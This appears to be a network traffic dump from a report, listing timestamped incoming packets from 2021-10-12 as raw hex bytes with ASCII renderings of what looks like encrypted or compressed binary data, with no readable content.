                                                            2021-10-12 07:38:07 UTC195INData Raw: 4b f7 13 e9 78 fe b4 fa 1c 1f dd 80 64 6c 7c a2 53 6b fd 8c aa 55 21 53 d6 c7 03 e1 8f d7 f8 f2 ec 7a 8e ad 8e 1e 29 29 af 93 1c 13 31 f0 37 f5 b3 29 5d 94 22 83 07 85 95 15 64 1d 2a 23 27 b9 a7 41 3e 1e 13 86 99 2f bd a9 4c db 44 4e d1 c3 43 09 70 18 a7 c3 e9 af 7e 71 d1 c5 c3 bb 3f 1e 4e 43 21 f0 ba e6 4e f3 47 34 46 b4 2e b3 59 a5 d8 10 b1 46 f4 09 70 18 76 f1 07 df 08 5c 09 8f 47 01 03 b6 83 69 0e 53 ba f5 c8 33 97 ca 52 31 78 f5 e9 1b 06 74 d6 ce f5 d0 70 48 f4 a1 6c b0 b6 ca 7b af 6d 76 b1 41 79 f2 43 fc df 47 f0 c4 15 87 05 f8 a2 54 ba d2 72 00 cf bc c8 f9 b5 be 73 bc 1d 0d 1d f1 fd 0b 59 15 a2 2d d1 74 9c 77 f3 a0 71 4a dd b1 73 63 aa a3 e6 a8 15 04 47 bf a1 44 70 76 47 d3 51 fe a3 8c 2b f4 8f df 1b 92 a4 bf 35 b4 2f 26 e4 72 b6 db d1 23 42 60 6e
                                                            Data Ascii: Kxdl|SkU!Sz))17)]"d*#'A>/LDNCp~q?NC!NG4F.YFpv\GiS3R1xtpHl{mvAyCGTrsY-twqJscGDpvGQ+5/&r#B`n
                                                            2021-10-12 07:38:07 UTC196INData Raw: e2 69 c8 f0 2a 6a c0 6a 0a e7 b9 5c e9 10 9c 30 3b f0 34 bf 71 a3 1c 49 e7 0f ed d9 e6 7e d4 d0 06 79 a8 93 52 df 49 2f 8b 88 a9 8b a6 cc 9a c9 db af 2e 6b 22 c5 df 38 31 83 21 5b 87 b4 6d ed 54 94 9f 03 6f 50 26 63 66 3a 3a 03 4a 20 a6 d8 9e 02 61 bc 40 b5 35 7d 0e 0a db 3e bf 54 26 09 b0 5a ef db a5 bd be 0a 38 d1 4d ac 01 ff de af 8a 46 63 4f 7d db 1e f8 6e 88 58 7c ba 6b eb 87 46 bc 6a 2e ef 67 65 fa e5 f4 c2 93 ff 42 c5 df dc 01 d2 87 92 55 43 ed 3c 7e 87 92 8b c8 34 85 df 6f 96 3c e7 7a 89 f6 19 44 da 1e 4d ba a2 45 d9 eb 38 da 00 a8 b4 5e 00 40 08 34 6e 12 6f f7 8d f0 c1 c9 51 4c 86 8e bb 06 5e 7e 52 23 34 9f 6e 5f f2 94 69 4d 92 0d 99 fc 04 7c 16 16 93 49 a8 ab 2f 05 a5 e7 25 79 1e 60 44 3a 36 03 c1 96 c2 94 be d3 13 8f 22 6e cc 72 0b 53 d2 26 25
                                                            Data Ascii: i*jj\0;4qI~yRI/.k"81![mToP&cf::J a@5}>T&Z8MFcO}nX|kFj.geBUC<~4o<zDME8^@4noQL^~R#4n_iM|I/%y`D:6"nrS&%
                                                            2021-10-12 07:38:07 UTC198INData Raw: a2 73 8d ee b4 d5 bf ee 4b b8 84 bb 4a 60 26 bc d6 7d 34 17 fb 42 ff b3 2f 63 b1 2b 92 2e da e6 28 46 1c 25 2a 42 9d b6 5c 19 11 00 df da 05 af a9 22 c8 69 5b e0 f4 40 0f 69 1d e2 86 d2 91 78 70 e6 ca 96 de 77 20 6a 74 2d f5 94 b7 1a c1 01 1c 4e a7 02 ac 54 f3 ea 40 bb 47 e2 0e 7b 13 08 ac 63 f7 61 7c 09 99 44 1a 0a 91 d9 4c 02 5c e4 8a a7 22 81 af 63 6d 27 85 c9 1b 14 63 ea e8 f5 e9 2c 1e 91 f5 40 8c 8f cc 6a ee 12 19 87 41 18 ce 67 fe e5 1b a6 a1 41 8f 29 e2 89 32 e6 bb 5a 0a d2 8f a9 f2 a5 af 7c 9f 1d 18 38 ad 99 26 51 18 83 2a d7 79 92 61 ef c0 0a 39 d0 b4 38 17 c9 89 cb f9 4a 54 60 fe da 10 32 2c 05 b8 17 df ff cd 61 a8 c2 c2 5c cc f0 a8 68 f7 7b 62 c4 44 e2 a9 8f 7b 26 51 73 ea df ee e9 b7 5f 9a 43 d0 16 a0 c0 7a 7e 33 4c 37 96 0f 9f 32 3d 33 1e 05
                                                            Data Ascii: sKJ`&}4B/c+.(F%*B\"i[@ixpw jt-NT@G{ca|DL\"cm'c,@jAgA)2Z|8&Q*ya98JT`2,a\h{bD{&Qs_Cz~3L72=3
                                                            2021-10-12 07:38:07 UTC199INData Raw: 39 ed fa d0 0a df f6 16 79 a1 f6 65 ff 6e 70 99 a2 d9 a9 f5 bf b7 ee 84 83 18 0f 29 f7 8b 22 12 e6 45 4b ef b0 50 8a 57 93 e6 14 59 50 32 56 0a 0c 0b 57 77 04 c3 9d 99 76 55 81 2e 95 35 04 36 3b db 0c 8e 37 31 2f d9 4d c2 8b b3 86 ca 00 0f be 47 ac 78 e8 ef af 8a 7a 0d 68 7c b4 0e d4 1e a8 0d 1b 99 4a b4 a1 65 dd 56 1a 9d 52 49 8a e2 a1 b1 95 de 1d c0 fc bd 10 e6 f5 a0 79 33 ef 69 39 a0 b0 df f2 12 e0 9b 6a f9 1a da 1f bb f4 60 73 e9 1e 76 89 d6 7d ff f0 09 e7 33 c6 b3 6f 0d 6f 24 62 28 1a 55 92 bc ce a0 d8 62 4c a1 b7 d6 13 69 0c 51 75 64 8c 4a 0b df 90 1d 7c b0 6e a9 de 76 5c 41 71 b0 6a f7 a5 16 73 8c c2 4c 79 27 14 65 18 5a 14 e3 e4 c3 c3 d9 d3 30 d0 07 4c be 67 39 3d e5 0d 22 4a 4d aa 74 79 d7 81 fc e6 8c 30 33 7f 0a f8 94 ec dd ff e6 bb 6e 0c f4 c3
                                                            Data Ascii: 9yenp)"EKPWYP2VWwvU.56;71/MGxzh|JeVRIy3i9j`sv}3oo$b(UbLiQudJ|nv\AqjsLy'eZ0Lg9="JMty03n
                                                            2021-10-12 07:38:07 UTC200INData Raw: 5a f6 1d 8f 1d d1 da 3a 27 15 23 3b 1d 93 a7 4d 3c 3f 15 b7 d5 0b b8 b8 6b c1 68 4a c7 e8 49 6c 63 1e 96 a1 c6 e3 74 64 a5 c1 94 bb 12 35 0f 66 14 b8 9c b5 7f 83 20 75 61 a5 4f 87 57 96 af 77 da 65 e1 67 52 13 45 8b 60 92 00 58 7b 82 53 6e 06 a5 ad 5a 00 3d ee a2 bc 19 ae df 45 65 4a 93 dc 7e 00 77 83 d4 e2 d7 37 1f 99 db 57 8d 8d c1 6e f8 36 18 84 24 6b f3 7e cd fb 15 a6 a0 28 86 2b 96 98 02 ff 9e 58 11 d3 a8 c0 fb a4 b2 4d ba 74 2a 29 85 c5 0a 5e 15 b9 20 d7 74 9a 05 cd a5 37 0f ea b2 2f 07 f5 89 c5 9a 76 49 76 8a e9 1c 69 04 03 9f 12 d3 f4 aa 28 84 db fc 4e d6 fb 9c 0d c1 68 7f c8 72 e6 9c 85 21 76 67 75 cc c4 e5 eb b7 78 90 75 ee 10 b6 93 1d 48 37 5f 2c 99 1c fa 31 21 3c 1b 10 d0 f8 70 30 a1 7b de b3 da 79 af 11 13 ae 7e cd 23 ab 84 25 08 83 b1 ad f7
                                                            Data Ascii: Z:'#;M<?khJIlctd5f uaOWwegRE`X{SnZ=EeJ~w7Wn6$k~(+XMt*)^ t7/vIvi(Nhr!vguxuH7_,1!<p0{y~#%
                                                            2021-10-12 07:38:07 UTC201INData Raw: 08 07 34 f5 b3 32 4c e7 29 64 87 a1 4d 8c 42 ae b1 00 50 3c 64 59 12 1d 02 6f 20 10 ca f1 ca 60 44 9a 39 82 15 53 22 32 b7 5f a0 3d 28 31 b0 6a c2 a8 b5 8c d3 41 34 bc 47 f8 72 fd fe f0 81 60 21 63 4c a2 12 d9 03 a1 0d 0f 99 4a b4 93 76 df 57 09 86 72 49 aa f5 ce b6 9f c9 2d cd 8a af 01 f3 d8 b1 6e 22 e8 05 1b 96 b7 e7 8b 20 e8 9b 7a fb 79 f5 17 cf e5 74 03 ca 73 05 ab cf 22 f4 f2 67 d5 3f c4 a2 68 00 6d 24 03 03 73 5e 92 9b f9 83 cb 74 29 b1 ac c9 06 69 13 34 32 51 8c 6a 3a c3 b3 06 60 b6 68 8e df 76 5c 20 7b d5 5a cd 8a 14 64 99 d5 76 6c 3b 05 47 00 36 07 f3 e2 f9 86 d0 d2 0b e9 17 4d be 70 3d 3e 91 0d 25 5f 49 ab 69 4f a3 b0 f8 f7 95 45 06 7f 7e eb 81 ed c4 f3 f6 ae 49 11 e9 c8 99 dd 24 b8 35 49 4d ab 8e 2c 60 43 82 41 41 c6 a2 46 38 26 55 fd 43 41 f8
                                                            Data Ascii: 42L)dMBP<dYo `D9S"2_=(1jA4Gr`!cLJvWrI-n" zyts"g?hm$s^t)i42Qj:`hv\ {Zdvl;G6Mp=>%_IiOE~I$5IM,`CAAF8&UCA
                                                            2021-10-12 07:38:07 UTC203INData Raw: db 65 40 d1 a7 7c 09 63 0a f5 ab ef 93 63 6b ca cb f2 f2 19 25 6e 6c 1b dc bf b2 0b a0 02 0d 41 a7 3f b7 59 f9 84 10 99 51 ff 17 61 1b 22 b1 66 e2 09 56 18 a5 4c 0d 00 b2 d9 57 08 53 89 86 ba 21 91 c2 45 6c 3e ba ce 0a 28 76 d1 e6 f5 c3 26 3f 8c 96 66 95 8b cd 60 f2 5f 37 91 43 6d fb 6f fc df 3a b7 a8 2d ad 34 f5 b3 17 fc bb 56 0b b6 a3 c7 e3 a1 b7 4a b9 3b 0f 18 b1 9c 3b 59 19 b8 01 c6 79 98 75 fe a9 2c 24 84 82 2f 00 f7 82 d6 df 5d 53 60 8e f8 18 28 2e 71 bf 17 dd ef a0 63 a3 c2 d8 51 dc f0 8b 79 ee 75 7e a5 57 e2 9b bf 53 27 47 62 cc c4 fb f8 de 43 91 37 fc 06 a7 fa 6d 7e 30 4e 37 9e 0b 8e 1d 3d 31 7a 07 d0 c8 4e 17 b4 49 de b4 c0 53 ad 62 25 b2 72 ce 34 a3 9b 2e 4c b1 bc bf d0 78 1e 4f 6a 67 c5 fa aa 6b 61 5d eb 58 cd 8b 54 aa 45 cb d2 07 70 0f 8c 02
                                                            Data Ascii: e@|cck%nlA?YQa"fVLWS!El>(v&?f`_7Cmo:-4VJ;;Yyu,$/]S`(.qcQyu~WS'GbC7m~0N7=1zNISb%r4.LxOjgka]XTEp
                                                            2021-10-12 07:38:07 UTC204INData Raw: 03 7d 11 d2 c2 9f 71 42 9a 40 b1 14 0f 34 3b b5 2b be 27 21 2f b0 5e de af 9e ab cc 00 1b a2 4e 8a 01 eb ef db 97 51 11 63 5f a8 3f df 6e 8e 62 12 98 57 9f a9 7c d2 43 17 ac 69 5d 8a e6 d3 a7 bf c8 28 c4 e9 a8 23 f5 e2 95 74 26 f8 69 2a aa 83 ee e5 07 f7 f2 5a c6 18 c3 1b a2 c5 6d 66 fe 1e 40 82 c1 4d d8 fa 15 c3 37 da a6 56 11 6b 24 10 6e 20 4d 85 8a c7 ac fd 75 25 96 bd c9 63 5c 1b 4c 01 63 8a 51 2b d5 b1 69 4b ab 79 b8 d9 04 7b 28 62 96 71 c6 9a 1d 77 99 d5 57 18 0b 09 48 0c 44 19 d0 f9 d4 ae df c2 30 ea 36 39 ab 70 28 0c d2 21 3a 56 4c ab 63 6e d7 91 f8 e4 8e 20 33 59 65 d4 94 e9 c5 f3 f7 da 7d 00 ef f2 bc de 57 a7 35 57 4d b5 81 1a 66 31 94 45 58 99 81 4d 3f 2b 7c de 4d 5f ef 7d 94 ec bc 48 f2 a8 07 d1 da 47 05 2c 7a 8b 98 ef c8 e5 5f cf c4 b4 ee 1e
                                                            Data Ascii: }qB@4;+'!/^NQc_?nbW|Ci](#t&i*Zmf@M7Vk$n Mu%c\LcQ+iKy{(bqwWHD069p(!:VLcn 3Ye}W5WMf1EXM?+|M_}HG,z_
                                                            2021-10-12 07:38:07 UTC205INData Raw: 9e a7 20 94 34 10 66 a7 29 a2 45 fa 9e 53 a8 46 e2 02 7b 00 2c a2 6b e1 61 7a 0a 95 55 02 16 c2 f8 4a 0e 51 fa c7 8b 34 81 ce 54 67 1a 94 c9 1f 0a 63 83 d1 fa d1 2f 0e b1 9b 76 88 9a d6 6e e8 3a 3f 97 41 75 e5 0a c1 d2 07 b6 a1 2c c6 1b ff b8 03 e7 a5 4a 4b f0 85 db f8 b3 db 67 b3 07 7f 3e ac 93 3b 51 1f b8 37 be 59 92 6b fc a5 31 39 ed be 2e 10 9c b4 db e9 51 55 68 d0 d8 14 3f 34 5f ac 00 dd ef a1 67 bf f3 e5 59 cd f0 88 7e ee 75 7e d6 30 e0 8a 94 48 0b 5a 62 d2 d8 ef e9 fe 42 b8 5b e0 01 b2 c9 66 6b 26 5f 24 83 12 95 1a 21 5f 09 05 c1 e3 58 2a a3 44 df a5 d6 5e a6 56 2a af 79 df 2c 85 84 25 3e 83 b1 a5 cb 73 00 61 6b 6b d8 fa a6 6b 2a 30 c7 5b cf 9d 43 ac 4d cd d2 11 14 39 91 13 3e 58 20 ab 89 d9 35 16 e1 bd 9f 97 7b bc ab 10 b2 89 59 1e 9f 86 23 87 ed
                                                            Data Ascii: 4f)ESF{,kazUJQ4Tgc/vn:?Au,JKg>;Q7Yk19.QUh?4_gY~u~0HZbB[fk&_$!_X*D^V*y,%>sakkk*0[CM9>X 5{Y#
                                                            2021-10-12 07:38:07 UTC207INData Raw: c1 8e db 1b 33 99 4e 91 66 f0 fe af af 76 17 53 64 be 34 ca 06 b9 0d 0f 99 4a b4 8c 76 d2 45 13 9b 06 5f 8a d8 e4 ba 80 c6 2b c2 e3 a8 64 d4 f7 98 69 37 8a 3e 1f ac b0 cd e4 10 c0 e3 50 e2 79 e7 1b ba cc 6d 40 e0 71 76 89 f4 43 c9 f3 13 93 00 c9 b2 57 00 50 31 07 00 25 58 82 83 d2 c1 cd 62 38 bd 9c de 05 69 0b 58 01 34 b1 79 2c c9 ad 0a 5c a0 7e a8 c7 70 39 0c 65 b2 5c c7 94 2a 60 9e c5 49 6c 49 13 43 19 69 35 e5 f3 d4 82 d9 d3 2a fb 44 6e a9 77 1f 3f f8 2b 39 52 39 8c 6b 68 a7 81 f1 ff 9d 2b 35 1a 59 c0 97 e8 d4 fb ab 97 7b 0b fa ca 9d dd 41 9b 24 24 7a b4 9b 3a 78 54 8a 45 42 b2 c5 62 38 0d 78 ce 4a 5e fc 76 92 ec aa 43 f0 82 19 d7 c4 48 0f 23 7c ef 96 eb c1 d6 55 de b1 8d e4 3c cd 23 11 6d c8 22 46 e6 82 30 95 23 87 f4 d1 b5 8b 67 0d 98 d5 82 1d d9 b8
                                                            Data Ascii: 3NfvSd4JvE_+di7>Pym@qvCWP1%Xb8iX4y,\~p9e\*`IlICi5*Dnw?+9R9kh+5Y{A$$z:xTEBb8xJ^vCH#|U<#m"F0#g
                                                            2021-10-12 07:38:07 UTC208INData Raw: 72 1a 90 62 07 17 b6 d8 5f 0b 76 ec be c8 21 81 db 7f 45 3f 9c df 33 06 63 f7 e2 e9 ef 26 03 f4 86 66 91 a0 e3 7a f5 3b 3b 82 57 6c f3 78 d9 ce 0d c2 87 2e 86 38 f7 bf 09 fb 99 5c 1c b6 a8 ea e7 b9 ab 57 94 19 0f 12 b1 89 04 55 0f d6 06 fd 68 84 75 fe 84 26 39 f0 a3 2f 1a d7 82 db 9a 77 55 62 97 ff 05 35 39 3a 9b 1c ba fc b4 06 aa cf 9d 7a c6 e6 8f 68 ea 34 43 c0 53 f2 9d 89 63 3b 1a 42 cc d4 fb f8 d8 4b 8d 56 ff 0b aa a5 4e 7e 37 72 04 84 08 9f 19 30 33 03 60 f2 d9 65 01 b8 4d c9 b4 c7 7e a6 76 07 b3 68 db 2d a8 98 39 4c 85 a0 b8 fb 5c 17 05 4a 77 d8 fd 85 67 69 1a c4 4e a3 b5 55 b4 50 cb cc 0e 6d 4a b5 09 18 15 03 bf 8f d7 2b 38 cf b8 92 f8 45 a4 ac 0d b4 b6 12 28 83 9a 32 8d f4 52 00 08 73 81 53 b9 e4 55 aa 42 d1 78 e1 1c 2b e5 5a 0f 4f 0b f2 06 db af
                                                            Data Ascii: rb_v!E?3c&fz;;Wlx.8\WUhu&9/wUb59:zh4CSc;BKVN~7r03`eM~vh-9L\JwgiNUPmJ+8E(2RsSUBx+ZO
                                                            2021-10-12 07:38:07 UTC209INData Raw: 39 e9 d2 2f b4 26 7b ef 14 0c ff 80 a3 d0 b8 a2 47 a1 8b dd 76 bb 81 f3 04 41 82 61 76 c1 c4 8a 8a 6a 80 9b 3b 94 71 b9 5a c8 b0 0b 62 82 10 17 89 b0 4b ae f2 75 fe 4b ad d5 5a 66 7e 53 03 7c 1a 2b 96 e7 bb d3 cf 1a 49 e7 d8 ba 62 19 0b 30 75 34 ea 41 5b b0 c2 67 00 c0 0d df a5 0a 37 42 16 d5 10 ae ec 7b 0b e3 be 2b 1d 69 62 27 71 2e 66 b6 97 a7 d1 3e 33 40 af 45 38 c1 13 5c 50 99 40 59 24 3d df 07 1e d9 c4 9d 97 ea c5 d0 14 0f b9 e4 81 a3 f3 80 fa 1a 77 1b 30 fd b0 25 f4 42 4d 26 d9 f6 7e 1a 37 e7 23 2d c8 cb 21 4b 79 1b ac 2c 22 19 bd e5 ea fd 40 80 cb 69 aa c7 2b 68 48 28 ed cf 88 b1 96 3a bc cc ee 87 55 ba 3f 7b 19 98 79 16 86 fe 5c fe 57 87 a1 34 00 de 26 7f ef 3b 33 19 be dc 28 d7 2d dc bd f9 21 a6 8d 17 40 de ea c0 4f d5 4d d1 5d d3 ab 25 c0 86 80
                                                            Data Ascii: 9/&{GvAavj;qZbKuKZf~S|+Ib0u4A[g7B{+ib'q.f>3@E8\P@Y$=w0%BM&~7#-!Ky,"@i+hH(:U?{y\W4&;3(-!@OM]%
                                                            2021-10-12 07:38:07 UTC210INData Raw: 02 6a c2 94 58 6a be 2a 8b d6 e3 5c 8d 50 1d 1b 7b 71 22 e1 51 e2 4e 58 25 35 fc 1c dc 6f 01 c3 63 29 c7 f7 04 1a cf 3d 4c ee bb 4d ac c8 f2 9b da c4 7a 6b 42 97 c3 49 e3 f6 43 18 86 d0 36 f3 32 c3 95 65 2d 70 67 37 66 71 65 04 08 7a a8 93 c8 13 a6 a1 5d fc 67 7d 44 5f c7 4f e9 50 44 5c b1 25 be db c1 fb 3f ea 69 f1 2a e5 04 96 80 a8 cd 1d 6d 1d a9 92 47 a3 66 c8 2d 7c ee bf fa c5 13 be 3e 67 f3 02 30 fb 89 bd c6 f7 ab 50 c8 89 db 65 89 83 d4 01 41 84 7b 79 cc d8 99 0a ef 99 89 50 8a 64 ad 67 d3 bd 1b 1e 90 0e 05 eb be 3e ae aa 69 8e 4a b5 c9 26 66 2a 5c 60 6a 73 38 fd f3 b7 c1 a2 1b 50 f0 ed b5 7e 14 63 3a 68 26 cd 25 5d b2 d3 69 06 c4 11 cf 9e 0a 24 5d 0b db 03 ba d9 7a 07 e7 b7 26 0a c8 ed 34 ed e3 72 ff 90 a6 c1 bf ab 41 81 5d 3e c0 09 40 46 83 cf ce
                                                            Data Ascii: jXj*\P{q"QNX%5oc)=LMzkBIC62e-pg7fqez]g}D_OPD\%?i*mGf-|>g0PeA{yPdg>iJ&f*\`js8P~c:h&%]i$]z&4rA]>@F
                                                            2021-10-12 07:38:07 UTC211INData Raw: c5 17 82 8f a5 b0 da ad 5d dd 80 cf 41 29 3c cf cb 1c 3b 74 f2 42 99 d6 45 3b f8 53 e3 75 36 80 41 22 60 c4 56 5f df ce 2d 4c 75 7b bf 8b e8 d6 d1 27 b2 09 32 ba af 29 4c 03 65 93 de a5 e7 17 03 a0 a6 fb bb 74 4e 0a 1d 77 a5 fe db 7b c5 c7 75 22 d6 48 cb 2d 93 f8 92 ff 3e 83 7a 10 66 2c d1 85 bb 7c 3a 66 e5 32 4e 64 c3 bc bc 52 3b a9 c6 c9 57 66 96 25 22 4a e7 39 43 6f 30 80 9a 9e b9 46 72 fc f9 03 e1 e2 a1 12 99 42 73 eb 35 9a af 0e 91 cd 74 c2 c0 42 e8 4c 96 df 60 8d cf 3c 78 b3 e2 a1 9d c5 db 21 d8 7a 77 78 c3 fc 52 35 78 d1 43 bd 0b 7d 99 88 c8 5e 4d 8a cc 45 7e 99 fa a7 87 20 3e 19 e2 91 74 55 c2 6c ec e7 a3 87 ce 1b d1 ab 81 34 bd 97 fd 0e 82 3a 11 ab 2d 84 ed fd 12 44 34 03 a2 b1 99 b9 b1 2c fd 2a 8a 6d dd a2 2e 18 5e 28 58 f2 73 f2 74 50 42 7f 7d
                                                            Data Ascii: ]A)<;tBE;Su6A"`V_-Lu{'2)LetNw{u"H->zf,|:f2NdR;Wf%"J9Co0FrBs5tBL`<x!zwxR5xC}^ME~ >tUl4:-D4,*m.^(XstPB}
                                                            2021-10-12 07:38:07 UTC212INData Raw: 5b ee 95 a7 17 98 a4 4f 09 d9 e4 94 37 1c 2f cc c3 bb 4e 58 cf d4 8b 9f cc 7b 72 44 86 df 5b 62 87 65 08 87 d1 3a 6d 32 c7 9f 68 1c 53 76 b5 c3 68 ec 06 1c f6 0f 81 cc 22 26 e9 51 70 64 71 66 5b c9 dd 4e 5c 5c 45 a2 bb 12 c7 c7 c9 bf 67 7e 53 8e f1 06 9b 98 2e 8d 01 e2 49 20 de 5a af 6f c3 0f 79 fc 3e f9 41 56 a6 25 71 fa 14 b2 eb 85 af cc fe a4 4c bc 84 d2 6a 92 96 76 b9 41 84 67 76 d8 ca 80 ab 62 90 89 bb 23 7b a2 7a dc a1 1e 16 9e 9c b0 ee ac 2c b7 bf 67 86 47 2a 7e 39 67 1f 52 63 69 66 28 75 56 a4 cf a4 0f 4b e0 ca 3a 26 1a fe d0 6f 33 f2 36 4a a2 41 78 0c cb 03 d3 a5 19 37 4f 18 c0 0f 2a 55 7a 0b e3 b8 38 16 40 67 23 63 38 6e 84 ff bb cd b8 b6 47 8e 4a 37 c2 07 5b 56 84 5c d6 83 38 d1 1b 12 c5 40 20 84 91 57 c0 b7 0c 99 e5 8e 33 57 8b df 3a 65 89 2f
                                                            Data Ascii: [O7/NX{rD[be:m2hSvh"&Qpdqf[N\\Eg~S.I Zoy>AV%qLjvAgvb#{z,gG*~9gRcif(uVK:&o36JAx7O*Uz8@g#c8nGJ7[V\8@ W3W:e/
                                                            2021-10-12 07:38:07 UTC214INData Raw: bd b6 47 f3 75 36 84 5e 29 60 c7 0f 4f cf c1 aa 40 72 7d a2 8b e8 da ce 2c a1 01 3a ad 25 9a 6e 0c 6d 84 41 b1 e1 19 0c a8 b0 e3 39 ce 51 01 15 60 3a ea d1 71 cf 4e 60 30 40 fa c1 3e 84 6b 50 d3 36 97 e5 ac 76 4b d1 86 d2 6a 1f 7b f5 26 ed 6c c0 be 3e 74 3c 80 d2 da c5 ed ad 2e 10 cb b5 b0 5e 67 05 92 04 96 a6 50 7a e7 f4 0a f0 ee 27 02 9e 51 64 62 64 1c b6 0a 81 aa 60 c5 ce 4f f5 49 8a c4 e5 a1 ce 2b 0c ab ef b4 89 dd c7 3e df 7d 5f 7f d1 7f 72 2d 73 cb 41 b2 1d fb 18 8f dc 5e 56 99 cd 5d 61 94 e1 82 98 24 3e 18 fb 82 71 41 41 6d ec 50 b4 87 d1 1b c3 ab 8f 1c b6 95 ff 10 82 14 0d a0 38 8f db e7 0f 57 26 80 1b ac 99 0d f7 39 ed b6 2a 62 c1 24 69 15 5f 23 4b ff 66 ff 7a 40 de 7a 7c bd a1 1f 58 dc 34 b8 40 f3 05 a1 19 5b c3 06 a2 5d d6 e9 5c 51 e0 c2 cc a6
                                                            Data Ascii: Gu6^)`O@r},:%nmA9Q`:qN`0@>kP6vKj{&l>t<.^gPz'Qdbd`OI+>}_r-sA^V]a$>qAAmP8W&9*b$i_#Kfz@z|X4@[]\Q
                                                            2021-10-12 07:38:07 UTC215INData Raw: 73 76 5c 8b c3 46 60 9e 57 65 9a df 6f ea 1b d2 8d e5 99 51 76 b6 26 6c 7c 82 ab 75 b4 1c 8a 1f 29 f5 4e ef 6f 73 48 42 c7 4d 68 6d 4c 55 b8 3b a7 d5 d3 68 fe 73 70 d3 23 f6 09 90 82 ad c0 1d 71 8d 68 c9 33 a5 66 c5 10 72 e1 22 f6 dc 0e be 2a 66 f3 14 b1 ba 92 b0 43 41 ab 50 20 ca d1 44 83 86 fa 11 c3 7f 78 fe 3c d5 08 b6 7d 82 8f 37 98 64 b9 67 c7 bd 11 1e 84 03 0d e4 aa 2a a1 97 6f 8e 5e a0 cf 29 1d 17 49 6a 73 7b 3c f7 ed a4 cf a4 2e 4b f0 cd a9 e2 ad 7f 26 f4 74 f6 36 4a a2 42 cc 0f d7 8c 9d a5 0a 37 5c 18 dd 03 ad e4 65 00 f0 b5 2d 0a c8 20 34 04 3e 68 9c 91 ae cd b0 b8 4a 87 4a 31 c4 0e 5b 5f 8d 5c d5 1b 37 c2 03 01 d2 df 98 84 7a c8 5c 1f 17 bc f6 1e 94 8b 80 c8 73 62 9b af e4 ad 21 e8 55 35 25 d1 f9 77 09 32 f5 a2 a5 c8 d8 26 5e fa 58 bf 4b 36 b9
                                                            Data Ascii: sv\F`WeoQv&l|u)NosHBMhmLU;hsp#qh3fr"*fCAP Dx<}7dg*o^)Ijs{<.K&t6JB7\e- 4>hJJ1[_\7z\sb!U5%w2&^XK6
                                                            2021-10-12 07:38:07 UTC216INData Raw: a8 09 27 b7 af 27 64 0b 78 97 cb b5 f1 96 a7 a4 ab df bc 60 5d 1a 12 f3 1d fa dd 77 d4 55 f4 87 c3 41 d6 22 17 4f 11 d4 36 94 e6 b0 75 4b cd 09 9a 6f 37 78 e8 3c 60 6d ca a3 36 6f 35 81 c4 cf 66 e6 a7 2e 13 c9 70 b9 78 6d 15 84 86 8a 25 7a 75 d4 f3 02 eb f1 b5 8e a5 4e f7 aa 35 99 df 00 96 ac 76 c8 cc 42 c0 4c 9c d2 61 99 52 a1 61 b3 ea a9 95 c4 dd 23 dd 74 7b 7a c3 fd 4f 34 99 d5 44 be 1e fb 14 0a 5c 47 0a 84 d1 40 67 9c e5 a2 9a 21 30 01 fe 8c 75 47 50 71 fe 61 b5 9a cd 06 c9 46 9d 29 bf 91 fb 02 87 1a 14 a5 c0 87 ef e2 11 45 36 07 b5 a8 8d 91 a6 ac 53 32 89 7e c2 25 81 1d 44 29 4d ff 73 f2 70 72 5e 72 68 b8 bb 1b 46 ca 20 a2 dd ae 12 c0 19 4e c8 1e 9e 42 c0 fc 48 48 c2 c4 ce ae 1a 74 64 33 19 a3 86 cb 03 24 71 a3 3f ab ed 27 c8 2f a5 b4 7f 1e 42 fe 7b
                                                            Data Ascii: ''dx`]wUA"O6uKo7x<`m6o5f.pxm%zuN5vBLaRa#t{zO4D\G@g!0uGPqaF)E6S2~%D)Mspr^rhF NBHHtd3$q?'/B{
                                                            2021-10-12 07:38:07 UTC217INData Raw: 83 0a 71 a6 9d 4a 0b 21 fd 52 73 c4 7c 54 de 37 5b ed 46 c4 88 b4 3f aa 5b 38 ea b8 72 65 d5 2d ea 80 1d 82 ba da 92 c6 0d 3a 5b b6 ab 69 c9 04 74 f4 36 ed c0 12 ae a3 fe e7 0a 37 fe 95 21 26 e2 2a 97 b3 0a 38 6c 82 87 f4 12 c3 6e 6e 7e c7 d6 0b 6f 6c 8b 92 3e 95 6b 31 9e dd 20 fd 0b 86 1e 06 fe 22 c6 ae 1f b2 9d 54 a7 c0 3e 65 9f b8 70 ee 97 2b 77 3a b4 41 4e 0f 45 e2 da a9 e3 ec 70 25 f5 cd f0 3f 5d a2 43 8d 1c 45 e9 d1 ab 07 2b c1 f2 c7 9e 7d fd f8 fc ef b8 22 1a 5b e0 ca 7f b6 91 9d b6 a2 d1 3e 5a 55 0f ac 37 c2 1b 5a 54 93 5c d7 ca 31 cf 26 19 c5 42 71 87 78 ad 4f 08 8a 6c f5 1d f8 98 8d dd 18 77 1b 41 ea 30 c8 e7 57 28 3f d7 f9 77 1a 2c e9 2e 22 c5 cd 3e 42 71 04 a3 2b 13 9d 19 f7 6c 07 23 88 e5 63 bf ac 2c 63 45 02 e7 c6 ae aa 80 32 a8 d6 61 24 53
                                                            Data Ascii: qJ!Rs|T7[F?[8re-:[it67!&*8lnn~ol>k1 "T>ep+w:ANEp%?]CE+}"[>ZU7ZT\1&BqxOlwA0W(?w,.">Bq+l#c,cE2a$S
                                                            2021-10-12 07:38:07 UTC219INData Raw: f5 ce 78 cd 55 f4 2a d0 ce cb 2d 93 e2 18 c8 a2 8e 75 94 7c 57 42 0f 80 e0 37 73 f1 b5 6a 6d ca b8 2c e6 98 88 d5 49 4e e3 8f 21 10 cb fd a6 7b 63 16 92 06 9f a0 73 7a f4 f5 0a e3 ea b6 8e 39 5e 64 62 2c 1e 91 08 83 2a 70 ca c1 61 e8 5d 17 d2 61 a8 d3 38 74 37 ee a2 92 c2 ce 31 5c d1 7e 6f 42 f5 47 3a 56 d6 51 ac 9b 58 04 98 41 4b 41 a4 d0 41 76 8e 66 07 9b 37 b1 0d dd 8b 7e 55 c1 d8 f0 77 3b 33 c8 03 c8 a4 1c 21 ae 14 ff 05 9a 1f 18 b8 35 8f f2 e5 02 53 b5 b0 bf bf 0a 84 b0 0c fd 25 0e ca dd b9 2e 3b 41 3f c4 5e 73 f2 7c 47 4e fb d1 b4 ae 90 4c c5 00 aa d0 32 13 c2 39 46 d5 09 3f e5 cb e6 c1 44 e6 c3 de 26 58 78 41 3c 13 b9 0c 86 1b 01 6e ad 3f a9 ff 26 d0 39 a7 a1 67 1c 42 fc 64 6b 14 49 d9 f0 b5 42 65 a0 d8 f5 f8 08 dd d9 